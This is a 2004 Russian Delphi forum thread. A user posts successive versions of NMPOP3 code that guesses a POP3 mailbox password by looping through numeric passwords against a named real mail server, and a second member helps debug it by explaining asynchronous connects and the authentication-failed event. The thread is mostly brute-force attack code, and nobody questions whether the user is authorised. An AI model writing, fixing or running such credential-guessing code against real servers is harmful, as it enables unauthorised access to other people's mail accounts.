Top.Mail.Ru
Мастера DELPHI, Delphi programming community Титульная страница Поиск, карта сайта Написать письмо 
| Новости | Поиск | FAQ | Статьи | Книги | Новости VCL |
| Форумы ЧАТ | Орешник | KOL и MCK |
Форумы -» Основная («Начинающим»)/ Базы / WinAPI / Компоненты / Сети / Media / Игры / Corba и COM / KOL / FreePascal / .Net / Прочее / RSDN.ORG

« предыдущая ветвь | форум | следующая ветвь »

Проблема с NMPOP3.Connected [D5, WinXP]


The X ©   (2004-10-07 10:59:00) 

Есть следующий фрагмент кода для подбора пассворда по NMPOP3.
Проблема в том, что когда подставляется верный пароль к серваку (я его знаю), то цикл процедуры не останавливается, т.е. не проходит проверка на Connected.

var i:integer;
label l;
begin
 nmpop31.Host:='nec-fs2.energy.gov.ua';
 nmpop31.UserID:=edit1.text;
 i:=strtoint(edit3.text);
l:label1.caption:=inttostr(i);
 if not nmpop31.Connected then
 begin
   nmpop31.Password:=inttostr(i);
   try
     nmpop31.Connect;
   except
     on esockerror do
       messagebeep(0);
   end;
   if i<strtoint(edit2.text) then
   begin
     inc(i);
     goto l;
   end
     else
       Exit;
 end
   else
     showmessage('!!!!!!!!!!!!');  //типа верный пароль получен
end;


The X   (2004-10-07 15:28:00) [1]

Вот самый последний исправленный вариант с дескриптором по Handled. При нем сразу же после OnAuthentificationFailed возвращается ошибка "10054 Connection reset by peer" и не проходит воторой цикл подсоединения с уже новым паролем с пом. Handled:=true.

procedure TForm1.Button1Click(Sender: TObject);
begin
 NMPOP31.Host := 'nec-fs2.energy.gov.ua';
 NMPOP31.UserID := Edit1.Text;
 i := StrToInt(Edit3.Text);
 Label1.Caption := IntToStr(i);
 if not NMPOP31.Connected then
 begin
   NMPOP31.Password := IntToStr(i);
   NMPOP31.Connect;
 end;
end;

procedure TForm1.NMPOP31AuthenticationFailed(var Handled: Boolean);
begin
 if i < StrToInt(Edit2.Text) then
 begin
   inc(i);
   Label1.Caption := IntToStr(i);
   NMPOP31.Password := IntToStr(i);
   Handled := True;
 end
   else
     Handled := False;
end;


The X   (2004-10-07 15:15:00) [2]

Текущий код

procedure TForm1.Button1Click(Sender: TObject);
begin
 nmpop31.Host:='nec-fs2.energy.gov.ua';
 nmpop31.UserID:=edit1.text;
 i:=strtoint(edit3.text);
 label1.caption:=inttostr(i);
 if not nmpop31.Connected then
 begin
   nmpop31.Password:=inttostr(i);
   nmpop31.Connect;
 end;
end;

procedure TForm1.NMPOP31AuthenticationFailed(var Handled: Boolean);
begin
 if i<strtoint(edit2.text) then
 begin
   inc(i);
   Button1.Click;
 end
   else
     Exit;
end;

ЗЫ. Параллельно разбираюсь со справкой.


Reindeer Moss Eater   (2004-10-07 14:40:00) [3]

Без кода трудно что либо сказать.
Но советую обратить внимание на параграф Description в справке по OnAuthentificationFailed.


The X   (2004-10-07 14:34:00) [4]

Reindeer Moss Eater
Прошу прощения, никак не могу догнать некоторых вещей.
Смотрите, указываю явно диапазон перебора, на кнопку вешаю передачу текущего пароля в компонент и вызываю коннект без никаких защищенных блоков. При этом в OnAuthentificationFailed указываю inc(i) (i - глобальная по всему модулю) и дальше вызываю опять Button.Click. Не получается - ошибки типа AccessViolation при попытке подключиться даже при первой попытке.
Что посоветуете?


The X   (2004-10-07 14:12:00) [5]

Reindeer Moss Eater
большое сенкс!  8-)


Reindeer Moss Eater   (2004-10-07 14:11:00) [6]

Установить таймер?
Может какой-нить рефреш есть?
может в виде паузы?


А может лучше на вкладку Events инспектора объектов заглянуть?


The X   (2004-10-07 14:08:00) [7]

может в виде паузы?


The X   (2004-10-07 14:07:00) [8]

Установить таймер?


The X   (2004-10-07 14:07:00) [9]

Может какой-нить рефреш есть?


Reindeer Moss Eater   (2004-10-07 13:54:00) [10]

Возврат из вызова Connect происходит до того, как будет установлено само соединение.


The X   (2004-10-07 13:48:00) [11]

Reindeer Moss Eater
Можно поподробнее?


Reindeer Moss Eater   (2004-10-07 12:16:00) [12]

Видимо потому что метод Connect - асинхронный


Наверх

Титульная страница Поиск, карта сайта Написать письмо